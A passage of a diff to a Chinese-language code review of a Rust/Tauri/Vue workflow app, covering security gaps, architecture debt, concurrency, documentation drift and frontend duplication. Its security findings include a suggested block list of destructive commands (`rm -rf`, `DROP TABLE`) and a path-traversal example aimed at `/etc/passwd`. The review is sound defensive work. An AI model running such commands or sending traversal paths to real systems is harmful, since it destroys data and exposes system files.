`"sk-****"`。 +注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程(Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 `tools/call create_project` / `bind_directory` 等工具调用。`bind_directory`(Medium) 可绑定任意路径让后续工具误以为已授权。 -### ③ ScriptNode — 命令无白名单/沙箱 +**建议**:启动生成 ephemeral token 写入应用 KV,Tauri CLI 子命令传 token,每条 `tools/call` 校验。 -**文件**: `crates/df-nodes/src/script_node.rs:15-19` + `crates/df-execute/src/shell.rs:92-117` +### ③ `bind_directory` 路径检测不一致 -ScriptNode 从 config 取 `command` 字符串透传给 shell(`cmd /C` / `sh -c`),无任何命令白名单或参数校验。工作流定义来自 AI 生成或外部导入时,恶意命令可通过 AINode 写入 ScriptNode config 注入执行。 +**文件**: `crates/df-mcp/src/tools.rs:328` -**建议**:添加危险命令关键词告警(`rm -rf`/`DROP TABLE`/`Format`),可选白名单/环境变量隔离配置。 +MCP 端 `bind_directory` 仅做 `path.contains("..")` 子串检测,会误伤 `my..file`,且对 `/etc/.ssh/../../etc/passwd` 这类绕过场景不可靠。而 `src-tauri/.../tool_registry.rs:114-145` 的 `validate_path` 已实现分段 `..` 检测——两端不一致。 -### ④ bind_directory — 原始路径入库未规范化 + 无沙箱校验 - -**文件**: `crates/df-mcp/src/tools.rs:314-342` - -`bind_directory` 接收用户传入 `path`,`normalize_path` 仅用于去重检测,**原始 `path` 值直接存储**。同一目录可用两种写法绑定两次绕过冲突检测。且未校验规范化后路径在项目沙箱允许范围内。 - -**建议**:存储前 `normalize_path()` + 校验在沙箱目录内 + 拒绝含 `..` 的原始路径。 - -### ⑤ state.rs — `std::sync::Mutex` 在 async 上下文中持锁风险 - -**文件**: `crates/df-workflow/src/state.rs:34-36, 55, 97, 104` - -`StateMachine` 使用 `std::sync::Mutex` 保护 HashMap,在 `get()` 等同步方法中直接 `lock().expect()`。`DagExecutor` 在 `futures::future::join_all` 同层并发时,若某节点持有引用后 `.await` 另一操作间接尝试锁 `states`,会死锁。通篇 4 处 `expect`——某节点 panic 导致锁中毒,连锁 fatal。 - -**建议**:改用 `tokio::sync::Mutex`,或在文档中明确标注「state_machine 方法不得在 `.await` 期间持锁」。 - -### ⑥ eventbus.rs — 错误静默吞噬 - -**文件**: `crates/df-workflow/src/eventbus.rs:16, 32` - -`DEFAULT_CAPACITY: usize = 256`,`EventBus::send` 调用处 `let _` 吞噬所有错误。当并发节点多且事件消费慢时,256 溢出导致最早接收者 Lagged 错误。 - -**建议**:`send` 处 `tracing::warn!` 记录 Lagged 错误。 - -### ⑦ shell.rs — `probe_pwsh` 同步阻塞 tokio 运行时 - -**文件**: `crates/df-execute/src/shell.rs:53-66` - -`probe_pwsh()` 在 `Default::default()` 中调用,`Default` 在 `execute()` 异步函数内调用。在 tokio 异步函数中同步阻塞 `cmd.status()` 违反最佳实践。 - -**建议**:惰性异步探测(`OnceLock` 配 `tokio::task::spawn_blocking`)。 - -### ⑧ retry.rs — backoff jitter 随机性弱 - -**文件**: `crates/df-ai/src/retry.rs:77-81` - -jitter 使用 `SystemTime::now().duration_since().subsec_nanos() % 2000` 映射到 `[-1.0, 1.0)`。纳秒级退化到 1ms 粒度时多个请求可能拿到同一值,重试碰撞风险。 - -**建议**:改用 `fastrand`,jitter 范围扩大到 ±50%(当前 ±20%)。 +**建议**:MCP 端复用 `validate_path` 的分段检测逻辑。 --- -## 🔴 文档 +## 🔴 架构 -### ⑨ AI对话引擎-2026-06-14.md — 工具清单严重过时 +### ④ AI 核心状态机焊死在 src-tauri,df-ai 名不副实 + +**证据**: +- `src-tauri/src/commands/ai/mod.rs` 定义 `AiSession`、`PerConvState`、`AiChatEvent`、`SessionState` 等 +- `src-tauri/src/commands/ai/agentic/mod.rs` 实现 `run_agentic_loop` +- `df-ai` crate 仅保留 Provider HTTP 实现 + `coordinator.rs`(空壳) + `intent/planner`(未接入) + +ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试),AI 状态机没有独立 crate 级单测。 + +**建议**:把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。 + +### ⑤ df-project / df-ideas 伪分层 + +**文件**: `crates/df-project/src/manager.rs`(全文 ~80 行,仅 2 个工厂函数) + +`ProjectManager::create` / `create_from_idea` 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 `df-storage/src/crud/project_repo.rs`,`commands/project.rs` 直接调 `ProjectRepo` 完全绕过 `ProjectManager`。领域层"不依赖 storage 保持分层"形同虚设。 + +**建议**:要么删除 df-project,要么真正把领域规则下沉进去。 + +### ⑥ TaskStatus 两套并存 + +**证据**: +- `crates/df-types/src/types.rs:170` 定义 `enum TaskStatus` 含 `as_str`/`from_db_str`/`is_valid` +- `crates/df-nodes/src/task_state_machine.rs:33-56` 又定义 7 个字符串常量 + `is_valid_state` + +注释自称"严格对齐"但靠人工维护,任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。 + +**建议**:让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。 + +### ⑦ IPC 错误拍平为 String,结构化信息全失 + +**文件**: `src-tauri/src/commands/mod.rs:26` `pub fn err_str(e: E) -> String` + +df-types/error.rs 精心设计了 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }` 等带结构化字段),但跨 IPC 边界时 `.to_string()` 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState,无法做差异化处理(如 NotFound→跳转列表 vs InvalidState→提示冲突)。 + +**建议**:IPC 错误用 serde 序列化的 enum(`{ kind, message, ...fields }`),前端按 kind 分支。 + +### ⑧ 配置四源并存,relay token 两端契约不一致 + +**证据**: +- 环境变量:`DF_RELAY_TOKEN`(relay 端缺失 panic)/`DF_SCRIPT_BLACKLIST`/`DF_SCRIPT_WHITELIST` +- DB KV:`app_settings` 表 +- AppState 内存:AtomicU64/Usize +- 硬编码常量:`src-tauri/lib.rs:186` `token = "devflow-relay-default-token"`(与 relay 端强制 env 不一致) + +桌面端硬编码默认 token,relay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。 + +**建议**:建立分层 Config 单例(env > app_settings > 默认常量),跨 crate 共享。 + +### ⑨ 文档与代码严重失步 + +**证据**: +- ARCHITECTURE.md §4 写 `df-core/` —— 实际是 `df-types` +- PROGRESS.md §二/§三 同样写 df-core +- docs/01-技术文档/SQLite-CRUD模式.md:79 引用 `crates/df-core/src/error.rs` +- PROGRESS.md Sprint 15/17 把 knowledge 模块归属 `df-evolve`(已移除) +- ARCHITECTURE.md §4 crate 树漏列 `df-types`/`df-mcp`/`df-ai-core`/`df-relay`/`df-tunnel`,crate 数量描述"9 crate"vs 实际 12 + +**建议**:批量替换 df-core → df-types,更新 crate 树与规模表。 + +--- + +## 🔴 代码质量 + +### ⑩ useAiEvents — 终止收尾逻辑三处复制粘贴 + +**文件**: `src/composables/ai/useAiEvents.ts:569-737` + +`AiCompleted` / `AiError` / `AiHelpRequired` 三个 case 重复执行同一套「会话终止收尾」逻辑(clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem),共 ~10 步骤在三个分支逐行复制。 + +**建议**:抽 `cleanupTerminatedConversation(convId, reason)` 公共函数。 + +### ⑪ Store 错误处理样板重复 38 处 + +**证据**:`src/stores/knowledge.ts` 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次: + +```ts +try { state.xxx = await api.xxx(...) } +catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') } +``` + +**建议**:抽 `runWithCatch(state, i18nKey, fn)` 工具。 + +### ⑫ idea_repo.rs — 注释承诺的测试不存在 + +**文件**: `crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44` + +注释明示「任一处加列漏改会被测试 `test_knowledge_cols_matches_record` 立即捕获」,但全 workspace grep 零匹配。`KNOWLEDGE_COL_COUNT` 带 `#[cfg_attr(not(test), allow(dead_code))]` 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。 + +**建议**:补 `#[test] fn test_idea_cols_matches_record()` 或改注释。 + +### ⑬ df-relay 完全无测试 + +`df-ai` 332 测试、`df-storage` 133 测试、`df-nodes` 86 测试,但 `df-relay` 0 测试(无 tests/ 也无 #[cfg(test)])。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。 + +**建议**:至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。 + +--- + +## 🟡 并发与可靠性 + +### ⑭ SQLite 单连接 Mutex 串行化 + +**文件**: `crates/df-storage/src/db.rs:13-16` + +```rust +pub struct Database { conn: Arc>, } +``` + +所有 Repo 共享同一连接。注释自承 `TODO: 考虑使用 r2d2 连接池`。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。 + +### ⑮ EventBus broadcast 容量与 Lagged 处理 + +**文件**: `crates/df-workflow/src/eventbus.rs:16` + `crates/df-nodes/src/human_node.rs:134-141` + +容量 256 + `WorkflowEvent` 混入 AI 流式增量 → 高频场景订阅者 Lagged → `human_node.rs:134` 的 `continue` 策略可能漏自身 Response → HumanNode 等到超时。 + +**建议**:流式增量与审批响应分总线,或 Lagged 显式重发。 + +### ⑯ run_migrations 持有 tokio Mutex 守卫 + +**文件**: `crates/df-storage/src/db.rs:48-53` + +V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。 + +### ⑰ task_link_repo.rs 注释误导 + +**文件**: `crates/df-storage/src/crud/task_link_repo.rs:116-138` + +注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 `blocking_lock` 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。 + +### ⑱ relay 默认监听 0.0.0.0 + +**文件**: `crates/df-relay/src/main.rs:17` + +token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。 + +**建议**:默认改 127.0.0.1,外部访问显式 `DF_RELAY_ADDR=0.0.0.0`。 + +--- + +## 🟡 代码简洁性 + +### ⑲ 大文件未拆分 + +- `src/components/ai/MessageList.vue` 1552 行(style 441 + script ~1100) +- `src/views/IdeaDetail.vue` 926 行(style 481 + script ~300,四域逻辑) +- `crates/df-storage/src/crud/idea_repo.rs` 1500 行(IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具) +- `crates/df-nodes/src/human_node.rs` 831 行 + +**建议**:MessageList 抽 MessageBubble.vue;IdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanel;idea_repo.rs 拆三文件。 + +### ⑰ 组件内 toast 状态重复 + +**文件**: `src/views/Settings.vue:103-112` + `src/components/AiChat.vue:183-191` + +两个根组件各自维护 toast reactive + showToast,逻辑完全一致。 + +**建议**:抽 `composables/useToast.ts`。 + +### ㉑ TS any 滥用集中在 catch 和跨层透传 + +48 处 `: any`/`as any`: +- **类型 A**(38/48):`catch (e: any)` → 改 `unknown` + 类型守卫 +- **类型 B**:跨层 `as any` 透传未声明字段(useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498) + +**建议**:补完 api/types.ts 真实字段(AiMessage.errorType、Message.status);defineExpose 建 interface。 + +### ㉒ AgentCoordinator deprecated 空壳 + +**文件**: `crates/df-ai/src/coordinator.rs` + +已标 `#[deprecated]`,全 workspace 零调用,但仍 `pub mod coordinator` 暴露导出。 + +**建议**:`#[cfg(feature = "multi-agent")]` 隔离或删除(git 历史可找回)。 + +### ㉓ planner.rs 11 处 #[allow(dead_code)] + +builder API(SubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。 + +### ㉔ app_settings KV 无 schema + +`SettingsRepo::set(key, value)` 无 key 白名单(除 allowed_dirs),新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。 + +### ㉕ 视图 CSS 重复 + tags 解析重复 + +- Dashboard/Projects/Ideas/Knowledge 四视图各自定义 `.btn`/`.btn-primary` scoped 样式(项目已有全局 `styles/components.css`) +- Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑 + +**建议**:CSS 收敛到全局;tags 解析抽 `parseTagsInput`。 + +--- + +## 🟡 文档 + +### ㉖ AI对话引擎文档工具清单过时 **文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md §四` -标题自称"12 个"工具,表格实际列出 **13 行**(自相矛盾);与 `df-ai-AI集成模块-2026-06-12.md` 声称的 **22 个工具**严重对不齐;缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project` 等工具。 +标题自称 12 个,表格 13 行,与 `df-ai-AI集成模块.md` 的 22 个严重对不齐。缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project`。 -**建议**:全文同步至当前实际 22 个工具的最新清单。 - -### ⑩ 02-架构设计/INDEX.md — 漏索引 9 个已有文档 - -**文件**: `docs/02-架构设计/INDEX.md` +### ㉗ INDEX.md 漏索引 9 个文档 | 子目录 | 漏列数 | 典型遗漏 | |-------|-------|---------| -| 专项设计 | 7 | `AI原生上下文地图`、`AST符号解析`、`插件机制`、`查询能力补全方案`、`项目知识图谱` 等 | -| 已编号方案 | 2 | `F-260622-01-跨端AIChat-Phase3联调设计`、`消息级溯源P2-切读方案`(今天新增) | -| 构想审查 | 1 | `跑题改进试验记录` | -| 根目录 | 2 | `单对话并行多轮-Phase0落地路线图`、`单对话并行多轮-设计` | +| 专项设计 | 7 | AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱 | +| 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案 | +| 构想审查 | 1 | 跑题改进试验记录 | +| 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计 | -**建议**:批量补齐,建立「新增文档 → 立即更新 INDEX」的提交习惯。 - -### ⑪ Agent架构说明 — 死链 +### ㉘ 死链 **文件**: `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4` -```markdown -> 关联: [任务推进设计](任务推进构想-2026-06-14.md) -``` -目标文件在 `构想审查/` 下,当前路径解析到 `专项设计/` 下不存在。 +`[任务推进设计](任务推进构想-2026-06-14.md)` 解析到专项设计目录下不存在,应改为 `../构想审查/`。 -**建议**:改为 `[任务推进设计](../构想审查/任务推进构想-2026-06-14.md)`。 +### ㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反 -### ⑫ ARCHITECTURE.md §七 + 新设计文档 — 大段逐字重复 +YAML 模板(52行)、AgentPersona struct(11行)、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。 -**文件**: `ARCHITECTURE.md:538-665` / `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md` +### ㉚ ARCHITECTURE.md ~100 行已移除模块残留 -YAML 模板示例(52行)、`AgentPersona` struct 定义(11行)、三层定义表、实例化流程——**大段逐字重复**,违反文档记录规范 SSOT 原则。 +§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。 -**建议**:`ARCHITECTURE.md §七` 保留概要(三层定义 + 关系图 + 关键原则),YAML 全文和 struct 定义仅在专项设计文档展开,ARCH 以引用链接替代。 +### ㉛ ARCHITECTURE.md 状态过时 -### ⑬ ARCHITECTURE.md 仍保留 ~100 行已移除模块细节 - -**文件**: `ARCHITECTURE.md:210-318`(`df-task` / `df-traceability` 章节) - -保留 Task 生命周期图、分支策略、标注系统、需求-功能-测试映射、Decision struct 等已移除模块的详细设计。造成认知负担。 - -**建议**:将已移除模块的详细历史移至 `功能决策记录-归档`,ARCHITECTURE.md 仅保留「已移除,见归档」。 - -### ⑭ 模块文档更新停滞(最长 16 天) - -| 文档 | 最后更新 | 距今天数 | -|-----|---------|---------| -| `df-workflow-工作流引擎-2026-06-12.md` | 06-15 | 13 天 | -| `df-ai-AI集成模块-2026-06-12.md` | 06-14 | 14 天 | -| `df-storage-存储层-2026-06-12.md` | 06-15 | 13 天 | -| `想法探索-对抗式评估-2026-06-12.md` | 无更新 | 16 天 | - -**建议**:对上述文档做一次「代码对齐」检查。 - -### ⑮ ARCHITECTURE.md 版本状态过时 - -**文件**: `ARCHITECTURE.md:3` - -当前 `状态: 设计阶段`。工程处于 **Phase 2 验证阶段**(df-workflow 核心完成、AI ReAct 循环运行中、审批机制就绪),状态标签与实际不符。 - -**建议**:改为 `状态: Phase 2 本地优先开发流程验证`(与 `docs/INDEX.md` 一致)。 - -### ⑯ 新设计文档与现有文档缺失交叉引用 - -**文件**: `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md` - -应当引用但未引用:`全局事件数据总线`、`df-nodes-节点集合`、`任务推进构想`。 - -**建议**:补充上述交叉引用。 - -### ⑰ AI对话引擎文档边界归属模糊 - -**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md` - -位于 `03-模块文档/`,但内容大量描述 `src-tauri/commands/ai/` 下的 Tauri 层代码,而非 `crates/df-ai` crate 内部。按文档记录规范职责矩阵,`03-模块文档/` 应记录各 crate 实现细节。 - -**建议**:移入 `02-架构设计/` 适当子目录,或明确标注为跨层交互设计文档。 - ---- - -## 🟡 代码质量 - -### ⑱ dag.rs — `deep_merge` 收到 null 返回 null,覆盖全局配置 - -**文件**: `crates/df-workflow/src/dag.rs:174-192` - -`deep_merge(global, null)` 返回 `null`。若某节点定义写了 `"config": null`(JSON 显式 null),该节点 `ctx.config = Value::Null`,原本期望继承全局 config 的节点拿到空配置。 - -**建议**:`DagExecutor.run()` 中对 `deep_merge` 结果做 `if result.is_null() { initial_config.clone() }` 兜底。 - -### ⑲ dag.rs — `_` 通配 match 掩盖未覆盖变体 - -**文件**: `crates/df-workflow/src/dag.rs:191` - -`deep_merge` 的 match 最后分支 `_ => node.clone()` 过于宽泛。若未来新增 `serde_json::Value` 变体,不会被编译器捕获。 - -**建议**:显式列出所有剩余变体并 `bail!`,迫使维护者在修改时意识到影响。 - -### ⑳ shell.rs — `String::from_utf8_lossy` 编码错误被静默替换 - -**文件**: `crates/df-execute/src/shell.rs:155-156` - -shell 输出使用 `String::from_utf8_lossy`,将非 UTF-8 字节替换为 `�`。对于中文/日文环境(如 `chcp 65001` 前的 GBK 输出),用户看到乱码替代符,诊断困难。 - -**建议**:添加 `tracing::debug!` 记录损失性替换的字节数,或提供 `encoding_rs` 转码选项。 - -### ㉑ query LIKE 搜索 — SQL 通配符未转义 - -**文件**: `crates/df-storage/src/crud/project_repo.rs:245-246` - -`LIKE ?` 使用 `%{trimmed}%` 拼接,`keyword` 中的 `%`/`_` 会被字面匹配。用户搜索 `100%` 匹配所有行,搜索 `error_404` 匹配 `errorX404`。 - -**建议**:对 keyword 中的 `%`/`_` 做 `replace` 转义,加 `ESCAPE '\'` 子句。 - -### ㉒ coordinator.rs — 空壳仅用注释声明"勿删",应加编译期守卫 - -**文件**: `crates/df-ai/src/coordinator.rs:1-24` - -注释声明「B 路线占位,有意保留空壳,勿删」,但无 `#[deprecated]` 或 `#[doc(hidden)]` 编译期标记。调用方引入 `AgentCoordinator::new().run()` 只能运行时发现返回 `"TODO"`。 - -**建议**:加 `#[deprecated(note = "B 路线占位,勿用于生产")]`。 - -### ㉓ secret.rs — 密钥迁移 sidecar 文件写入无原子性 - -**文件**: `crates/df-storage/src/secret.rs:75-81` - -`record_migration_fail` 每次调用同步读文件 → 改 map → 写文件,迁移时 10+ provider 逐条失败时每条 2 次文件 I/O。无原子写入保障,异常中断可能产生半写文件。 - -**建议**:积累内存中的失败计数,迁移循环结束后一次性持久化。 - -### ㉔ Intent/planner/plan_hint — 纯函数模块无单测覆盖 - -**文件**: `crates/df-ai/src/intent.rs` / `planner.rs` / `plan_hint.rs` - -注释声称「纯函数、零 IO」,均无 `#[cfg(test)]` 覆盖。Phase 1 接入主 loop 前应补充。 - -**建议**:为这些纯函数模块补充输入输出确定性匹配测试。 - ---- - -## 🟡 前端 - -### ㉕ Settings.vue — 内联 confirm 弹层重复实现 - -**文件**: `src/views/Settings.vue:7-16` - -Settings.vue 内联了完整 confirm 弹层模板,完全复制了 `ConfirmDialog.vue` 的 UI/逻辑,自身维护 `confirmState`/`answerConfirm`。全项目已有 `useConfirm` composable。 - -**建议**:用 `useConfirm` + `ConfirmDialog` 替换内联实现。 - -### ㉖ 多视图 — 按钮 CSS 重复定义 - -**文件**: `Dashboard.vue:126-162` / `Projects.vue:445-458` / `Ideas.vue:421-432` / `Knowledge.vue:449-458` - -四处视图各自定义 scoped 按钮样式。项目已通过 `main.ts` 导入全局 `styles/components.css`。 - -**建议**:删除视图内按钮样式,统一走全局 CSS。 - -### ㉗ Ideas.vue + Knowledge.vue — tags 解析逻辑重复 - -**文件**: `src/views/Ideas.vue:302` / `src/views/Knowledge.vue:321` - -```ts -tags.split(',').map(t => t.trim()).filter(Boolean) -``` - -**建议**:提取为工具函数 `parseTagsInput` 放进 `src/utils/`。 - -### ㉘ Ideas.vue — Arco Design `Message` 残留 - -**文件**: `src/views/Ideas.vue:144` - -全项目仅在 Ideas.vue 使用了 Arco 的 `Message` 组件(3 处),其余使用自建 toast。混用。 - -**建议**:用自建 `showToast` 替换后删除 Arco 依赖。 - -### ㉙ stores/ai.ts — 两个 watch 监听同一 `.messages.length` - -**文件**: `src/stores/ai.ts:204, 241` - -两个 `watch(() => state.messages.length, ...)` 分别处理条数上限和 parts 体积上限。每次 length 变化触发两个 watch,第二个还要遍历 messages 求和。 - -**建议**:合并为一个 watch。 - -### ㉚ AiChat.vue — `initDrainQueueListener` 每次 `useAiStore()` 调用都执行 - -**文件**: `src/stores/ai.ts:304` - -```ts -void initDrainQueueListener() -``` -每次调用 `useAiStore()` 都执行。需确认内部做了幂等守卫。 - -**建议**:确保只初始化一次(如外层 `initOnce` 布尔守卫)。 - -### ㉛ AiChat.vue — 空值传播无告警 - -**文件**: `src/components/AiChat.vue:238` - -```ts -const conv = store.state.conversations.find(c => c.id === id) -const title = conv?.title || t('aiChat.newConversation') -``` -`find` 返回 `undefined` 时静默回退默认标题。非预期 ID 进入时不告警。 - -**建议**:至少 `console.warn` 记录 ID 不在列表中的情况。 - -### ㉜ 多视图 — `catch (e: any)` 类型退化 - -**文件**: 几乎所有 Vue 视图 - -```ts -catch (e: any) { - state.error = e?.toString() ?? t('xxx.failed') -} -``` - -**建议**:统一改为 `catch (e: unknown)`。 - -### ㉝ AiChat.vue — 体积仍偏大 - -**文件**: `src/components/AiChat.vue`(模板 128 行 + script ~200+ 行) - -仍承载全局快捷键处理、编辑态管理、队列编辑态管理、Toast 共享状态等。 - -**建议**:将键盘快捷键抽离为 `useAiShortcuts` composable。 - -### ㉞ Ideas.vue — `searchQuery.trim()` 重复调用 - -**文件**: `src/views/Ideas.vue:219-220` - -```ts -if (searchQuery.value.trim()) { - q.keyword = searchQuery.value.trim() -} -``` - -**建议**:提取 `const trimmed = searchQuery.value.trim()`。 - -### ㉟ Projects.vue — 冗余 `as string` 断言 - -**文件**: `src/views/Projects.vue:217-218, 222` - -`selected` 已被类型收窄为 `string`,后续 `as string` 多余。 - -### ㊱ MCP tools/list — `unwrap_or(Value::Null)` 在数组中混入 null - -**文件**: `crates/df-mcp/src/server.rs:140-142` - -```rust -serde_json::to_value(&t.tool).unwrap_or(Value::Null) -``` -若某个 tool schema 序列化失败,tools 数组中混入 `null`。 - -**建议**:`.filter_map(|t| serde_json::to_value(&t.tool).ok())`。 - -### ㊲ Ideas.vue — `IdeaQuery` 类型未充分对齐 - -**文件**: `src/views/Ideas.vue:146, 214-217` - -`order_by` 字段类型为 `string | null`,后端若收窄为联合类型白名单,前端不会报错。 - -**建议**:前端 `order_by` 使用 `'score' | 'created_at' | null`。 +L3 `状态: 设计阶段` 与实际 Phase 2 验证阶段不符,应与 `docs/INDEX.md` 一致改为 `Phase 2 本地优先开发流程验证`。 --- ## ✅ 亮点 -### ① 密钥管理分层设计(secret.rs) -`resolve_provider_secret` 三阶段回落:DB 明文(向前兼容)→ OS keyring → 空字符串。迁移非阻断、幂等、失败计数告警。单测通过 `cfg` gate 仅桌面 OS 跑 keyring 测试。 +### ① df-ai/df-ai-core trait 下沉(F-01) +df-ai-core 零 HTTP 依赖(仅 5 个依赖),df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。**真实落地的解耦**。 -### ② SQL 注入防护体系 -列名白名单(`validate_column_name` + `impl_repo!` 宏统一调用),`build_order_clause` 对排序方向也做白名单校验。软删除/恢复/清空全部参数化 SQL。 +### ② df-mcp advance_task 复用 df-nodes 状态机 +MCP 与 IPC 都走 `df_nodes::task_advance_node::advance_task_atomic`,推进链三层校验(is_valid_state/can_transition/CAS/regression bump)唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。 -### ③ 前端竞态保护(knowledge.ts) -递增序列号丢弃过期响应。`ai.ts` watch 双重守卫(`oldLen > 0 && newLen - oldLen <= 2`)精确区分局部增长和整体替换。 +### ③ keyring 密钥下沉 + 迁移补偿 +secret.rs 三阶段回落(DB明文→OS keyring→空),`migrate_secrets_to_keyring` 启动一次性迁移,失败计数达阈值升级 warn。`AiProviderRecord` 自定义 Debug 把 api_key 脱敏为 `"sk-****"`。 -### ④ `useConfirm` 统一确认弹层 -从 4 个视图中提取重复 Promise+resolve 模式,正确处理并发覆盖场景(前一个 Promise 先 resolve false)。 +### ④ SanitizedPath newtype 强类型 +`df-types/src/augmentation.rs:29` `pub struct SanitizedPath(String)` 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用。 -### ⑤ Store 内部分拆 4 子 store -`stores/project/` 拆分为 projects/tasks/ideas/workflow,共享 `state.ts` 单例,对外 `useProjectStore()` 不变——「内部拆分,外部零改动」。 +### ⑤ 取消路径 TOCTOU 三层防护 +state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。 -### ⑥ 取消路径 TOCTOU 三层防护 -`state.rs:86-100` + `executor.rs:180-232`:Ok 后检查、Err 分支检查、阻塞节点轮询。注释详细记录了 TOCTOU 时序窗口。 +### ⑥ SQLite WAL + spawn_blocking 正确 +所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用;批量用事务原子提交;WAL 模式读写不互斥。 -### ⑦ MCP 多层防御 -三级过滤:`visible()` 读模式仅 Low 工具、`tools/list` 剔除 High、`dispatch` 再拦截 read-only + Medium 拒 + High 兜底拒。 +### ⑦ 重试机制工业级 +retry.rs ±50% jitter(rand::thread_rng)+ 错误分类(Ok/Retryable/Fatal)+ 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全。 -### ⑧ V21 大版本迁移谨慎 -`BATCH_SIZE=50` 分页、空库跳过、解析失败 skip 而非崩溃、`column_exists` 守卫 ALTER TABLE 防重复执行。 +### ⑧ kill_on_drop + Windows CREATE_NO_WINDOW +shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程;Windows 黑窗抑制。 -### ⑨ 子进程清理 + Windows 黑窗抑制 -`kill_on_drop(true)` 超时后子进程不残留;`creation_flags(0x08000000)` 抑制 Windows 黑窗闪现。 +### ⑨ TaskStatus is_valid 单测覆盖 +df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界,valid_values_all_pass_is_valid 锁定清单一致性。 + +### ⑩ SSRF 防护完整 +http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。 + +### ⑪ V21 大版本迁移谨慎 +BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。 + +### ⑫ 前端 composable 已大范围抽离 +src/composables/ai/ 已拆 14 文件,AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构(8 个子 Section/Panel,309 行壳)。 --- @@ -382,11 +314,20 @@ serde_json::to_value(&t.tool).unwrap_or(Value::Null) | 分类 | 🔴 | 🟡 | ✅ | |------|----|----|----| -| 安全 | 8 | — | — | -| 文档 | 9 | — | — | -| 代码质量 | — | 7 | — | -| 前端 | — | 13 | — | -| 亮点 | — | — | 9 | -| **合计** | **17** | **20** | **9** | +| 安全 | 3 | — | — | +| 架构 | 6 | — | — | +| 代码质量 | 4 | — | — | +| 并发可靠性 | — | 5 | — | +| 代码简洁性 | — | 7 | — | +| 文档 | — | 6 | — | +| 亮点 | — | — | 12 | +| **合计** | **13** | **18** | **12** | -**总体评价**:核心安全架构扎实(SQL 注入防护、密钥管理、MCP 多层防御、取消 TOCTOU)。主要风险集中在 `state.rs` 同步锁在 async 上下文中的潜在死锁、文档与代码脱节(AI对话引擎工具数过时、INDEX 漏列 9 文档、~100 行已移除模块残留)。前端整体质量高,但需清理少量遗留(Arco 残留、内联 confirm 重复)。 +**总体评价**:核心安全架构扎实(SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级),前端架构演进健康(composable 大范围抽离、Settings 已 master-detail 重构)。 + +主要问题集中在: +- **架构债**:AI 核心状态机焊死 src-tauri(#4)、df-project 伪分层(#5)、文档严重失步(#9) +- **代码质量**:useAiEvents 三处复制粘贴(#10)、Store 错误处理 38 处重复(#11) +- **安全细节**:ScriptNode 元字符绕过(#1)、MCP 无鉴权(#2) + +优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13);③ ScriptNode 